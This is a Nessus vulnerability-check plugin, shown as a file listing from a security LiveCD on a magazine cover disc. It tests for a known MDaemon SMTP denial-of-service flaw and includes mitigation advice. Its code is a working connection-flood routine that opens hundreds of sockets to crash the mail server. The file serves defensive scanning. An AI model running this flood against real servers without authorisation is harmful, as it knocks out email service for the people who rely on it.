home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / mdaemon_dos.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  130 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6. # References:
  7. # Date: Sun, 27 Oct 2002 19:49:45 +0300
  8. # From: "D4rkGr3y" <grey_1999@mail.ru>
  9. # To: bugtraq@securityfocus.com, submissions@packetstormsecurity.com, 
  10. #   vulnwatch@vulnwatch.org
  11. # Subject: MDaemon SMTP/POP/IMAP server DoS
  12.  
  13. if(description)
  14. {
  15.  script_id(10137);
  16.  script_bugtraq_id(8554);
  17.  script_version ("$Revision: 1.19 $");
  18.  script_cve_id("CAN-1999-0846");
  19.  
  20.  name["english"] = "MDaemon DoS";
  21.  name["francais"] = "DΘni de service MDaemon";
  22.  script_name(english:name["english"], francais:name["francais"]);
  23.  
  24.  desc["english"] = "
  25. It was possible to crash the remote SMTP server
  26. by opening a great amount of sockets on it.
  27.  
  28.  
  29. This problem allows an attacker to make your
  30. SMTP server crash, thus preventing you
  31. from sending or receiving e-mails, which
  32. will affect your work.
  33.  
  34.  
  35. *** Note that due to the nature of this vulnerability,
  36. *** Nessus can not be 100% positive on the effectiveness of
  37. *** this flaw. As a result, this report might be a false positive
  38.  
  39. Solution : 
  40. If your SMTP server is constrained to a maximum
  41. number of processes, i.e. it's not running as
  42. root and as a ulimit 'max user processes' of
  43. 256, you may consider upping the limit with 'ulimit -u'.
  44.  
  45. If your server has the ability to protect itself from
  46. SYN floods, you should turn on that features, i.e. Linux's CONFIG_SYN_COOKIES
  47.  
  48. The best solution may be Cisco's 'TCP intercept' feature.
  49.  
  50.  
  51. Risk factor : High";
  52.  
  53.  
  54.  desc["francais"] = "Il s'est avΘrΘ possible de faire
  55. planter le serveur SMTP distant en ouvrant un grand
  56. nombre de connections dessus.
  57.  
  58. Ce problΦme permet α des pirates de faire
  59. planter votre serveur SMTP, vous empechant
  60. ainsi d'envoyer et de recevoir des emails,
  61. ce qui affectera votre travail.
  62.  
  63. Solution : contactez votre vendeur pour un patch.
  64.  
  65. Facteur de risque : SΘrieux";
  66.  
  67.  script_description(english:desc["english"], francais:desc["francais"]);
  68.  
  69.  summary["english"] = "Crashes the remote MTA";
  70.  summary["francais"] = "Fait planter le MTA distant";
  71.  script_summary(english:summary["english"], francais:summary["francais"]);
  72.  
  73.  if (ACT_FLOOD) script_category(ACT_FLOOD);
  74.  else        script_category(ACT_DENIAL);
  75.  
  76.  
  77.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  78.         francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  79.  family["english"] = "Denial of Service";
  80.  family["francais"] = "DΘni de service";
  81.  script_family(english:family["english"], francais:family["francais"]);
  82.  script_dependencie("find_service.nes", "sendmail_expn.nasl");
  83.  script_exclude_keys("SMTP/wrapped");
  84.  script_require_ports("Services/smtp", 25);
  85.  exit(0);
  86. }
  87.  
  88. #
  89. # The script code starts here
  90. #
  91.  
  92.  
  93. include("smtp_func.inc");
  94.  
  95. port = get_kb_item("Services/smtp");
  96. if(!port)port = 25;
  97. if(get_port_state(port))
  98. {
  99.  i = 0;
  100.  ref_soc = open_sock_tcp(port);
  101.  if ( ! ref_soc ) exit(0);
  102.  banner = smtp_recv_line(socket:ref_soc);
  103.  
  104.  soc = open_sock_tcp(port);
  105.  if(!soc)exit(0);
  106.  while(TRUE)
  107.  {
  108.   soc = open_sock_tcp(port);
  109.   if(!soc){
  110.       sleep(5);
  111.     soc2 = open_sock_tcp(port);
  112.     if(!soc2){
  113.      send(socket:ref_soc, data:'HELP\r\n');
  114.          out = smtp_recv_line(socket:ref_soc);
  115.          if ( ! out ) security_hole(port);
  116.          }
  117.     else close(soc2);
  118.         close(ref_soc);
  119.     exit(0);
  120.     }
  121.   if( i > 400)
  122.   {
  123.         close(ref_soc);
  124.      exit(0);
  125.   }
  126.   i = i + 1;
  127.  }
  128. }
  129.